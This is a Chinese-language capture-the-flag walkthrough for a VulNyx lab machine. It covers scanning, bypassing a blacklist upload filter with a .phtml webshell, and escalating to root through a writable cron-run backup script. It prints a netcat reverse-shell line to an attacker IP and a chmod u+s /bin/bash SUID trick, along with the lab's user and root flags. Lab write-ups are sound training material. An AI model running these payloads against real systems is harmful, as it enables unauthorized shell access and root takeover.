vulnyx Diff3r3ntS3c writeup
信息收集
arp-scan
nmap
这里默认的话是只有80端口的,这个22端口是我拿到root后开的
获取userFlag
直接上web看看
扫个目录
把网页拉到最下面可以看到一个文件上传点
我们尝试上传一个php文件
失败了,那xxx呢
上传成功了,看来后端的后缀名校验是基于黑名单了,我们上传phtml试试
成功了,文件应该上传到了uploads目录里,去里面找找
果然能成功解析,看来这里的apache配置文件里是配置了将.phtml后缀的文件当作php文件解析的配置项的(在高版本的apache中默认只会将.php后缀当作php文件进行解析,除此之外需要手动配置)
后面就直接反弹shell了
拿到了candidate用户,这里cd无效的原因是因为没有配置$HOME环境变量。去看一下 /etc/passwd:
通过/etc/passwd发现普通用户确实就只有candiate这个用户,我们去它的家目录下就可以拿到userflag了:
userflag:9b71bc22041491a690f7c7b5fe0f4e8d
获取rootFlag
在家目录下可以看到一个.script目录,进去可以看到一个makeBackup.sh
这个shell脚本的作用用于备份/var/www/html/uploads目录的,而在家目录里的.backups目录里有一个backup.tar.gz,解包后可以看到如下内容:
这正是我们之前在web上的uploads目录中看到的内容,这说明这个备份脚本已经被触发过了,所以可能存在一个定时任务来定时触发这个备份脚本。把pspy64 pull到靶机上执行
可以看到果然有定时任务触发了makeBackup.sh,而且它的UID是0,这就表示该定时任务是由root触发的,所以就可以利用这个点来提权了,手法有很多,我这里就介绍最容易想到的两个
手法一:利用定时任务反弹shell
在 makeBackup.sh 中写入以下内容:
#!/bin/bash
busybox nc 192.168.43.180 9999 -e /bin/bash
然后kali启动监听,等待定时任务执行,过一会后就可以拿到root shell了
然后去家目录下即可拿到root shell
手法二:利用定时任务给/bin/bash加上suid权限然后提权
makeBackup.sh中写入以下内容:
chmod u+s /bin/bash
等待定时任务执行,然后查看/bin/bash的权限
成功赋予suid权限了,然后通过 bash -p 提权即可
然后去root家目录下拿到rootflag
rootflag:24886c4b2777d4359cd3dbd118741dda